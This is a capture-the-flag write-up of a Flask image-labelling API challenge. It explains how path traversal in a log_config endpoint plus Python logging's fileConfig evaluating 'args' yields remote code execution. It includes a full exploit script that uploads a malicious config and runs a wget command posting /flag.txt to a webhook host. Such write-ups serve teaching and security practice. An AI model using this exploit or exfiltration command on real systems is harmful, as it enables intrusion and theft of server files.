tl;dr

  • Upload log configuration file and exploit path traversal to gain RCE

Challenge Description

We’re an in development public platform for labeling images captured with deep-space telescopes! These images will be used to assist machine learning models for identifying space objects. Still have a lot of work to do… right now we just have the API exposed, still working on a full front end to help less technical people contribute! For anyone interested in the project send them the api_doc.txt and api_client.py to help get them started.

Analysis 🧐

In this challenge, we were given a Web API and comes with the following functionalities:

  • Login / Register
  • Gallery
  • Upload Image
  • Download Image

The application is written in Flask, and makes use of Python’s logging library.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from flask import Flask, current_app
from flask_login import LoginManager
from flask_session import Session

import logging
import logging.config

from application.blueprints.routes import web, api, response
from application.database import db, User



app=Flask(__name__)
app.config.from_object('application.config.Config')

logging.config.fileConfig(f"/app/application/static/conf/default.conf")

db.init_app(app)
db.create_all(app=app)

login_manager = LoginManager()
login_manager.init_app(app)
sess = Session()
sess.init_app(app)

app.register_blueprint(web, url_prefix='/')
app.register_blueprint(api, url_prefix='/api')

Looking at the Dockerfile, we find that flag is present at the root of the server.

We then inspect all the routes in routes.py.

  • We have the /download_image route which downloads a file present in the database.
  • The /gallery route - which lists all the files that are uploaded by the currently logged in user.
  • The /upload route - which uploads a given file to a random directory under the images folder.
  • The /log_config route - which loads a logging configuration file present on the server.

The implementation of log_config endpoint is as follows:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
@api.route('/log_config', methods=['POST'])
@login_required
def log_config():
    if not request.is_json:
        return response('Missing required parameters!'), 401

    data = request.get_json()
    file_name = data.get('filename', '') 

    logging.config.fileConfig(f"{current_app.config['UPLOAD_FOLDER']}/conf/{file_name}")

    return response(data)

The above code could potentially introduce a path traversal bug.

Exploit 🔥

The solution could be to upload a configuration file to the server, and use the log_config route to parse it, and somehow get RCE.

After a bit reserach, I found Python Logging Security considerations and User-defined objects in the official documentation. Even after hours of trial and error, I was stuck, with no progress.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
[loggers]
keys=root,simpleExample

[handlers]
keys=consoleHandler

[formatters]
keys=simpleFormatter

[logger_root]
handlers=consoleHandler

[logger_simpleExample]
level=DEBUG
handlers=consoleHandler
qualname=simpleExample
propagate=0

[handler_consoleHandler]
class=StreamHandler
level=DEBUG
formatter=simpleFormatter
args=(sys.stdout,)

[formatter_simpleFormatter]
format=%(asctime)s - %(name)s - %(levelname)s - %(message)s

Going through the conf files given, we find that certain keywords are same as used in Python. (Eg.args=(sys.stdout,)) Thus, it could mean Python code given in log config files could be executed.

Upon editing /app/application/static/conf to set args to (os.system('ls'),) and using log_config route, it was observed that the output of the executed command was displayed on the docker console.

So, in short, the exploit was to upload a configuration file, and load it by exploiting the path traversal bug.

Exploit Script

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import requests
import json

api_url = "http://172.17.0.2:1337/api"
username = "temp"
password = "temp"

def main(command):
    exploit_payload = f"""[loggers]
    keys=root,simpleExample

    [handlers]
    keys=consoleHandler

    [formatters]
    keys=simpleFormatter

    [logger_root]
    handlers=consoleHandler

    [logger_simpleExample]
    level=DEBUG
    handlers=consoleHandler
    qualname=simpleExample
    propagate=0

    [handler_consoleHandler]
    class=StreamHandler
    level=DEBUG
    formatter=simpleFormatter
    args=(os.system('{command}'),)

    [formatter_simpleFormatter]
    format=%(asctime)s - %(name)s - %(levelname)s - %(message)s
    """

    r = requests.Session()

    # REGISTER

    url = api_url + "/register"
    payload = json.dumps({"username": username, "password": password})
    headers = {
        'Content-Type': 'application/json'
    }
    r.request("POST", url, headers=headers, data=payload)

    # LOGIN

    url = api_url + "/login"
    res = r.request("POST", url, headers=headers, data=payload)

    # Upload config file

    url = api_url + "/upload"
    files = {'file': exploit_payload}
    values = {'label': "thepic"}
    res = r.request("POST", url, files=files, data=values)
    print(res.text)

    # Get item from gallery

    url = api_url + "/gallery"
    res = r.request("GET", url)
    filename = res.json()["message"][-1]

    # SET LOG

    url = api_url + "/log_config"
    payload = json.dumps({"filename": f"../images/{filename}"})
    res = r.request("POST", url, headers=headers, data=payload)
    print(res.text) 


if __name__ == "__main__":
    command = "wget --post-file /flag.txt https://webhook.site/HOOK"
    main(command)
else:
    command = input("Command: ")
    main(command)

It was fun solving this challenge.

Thanks for reading. 😁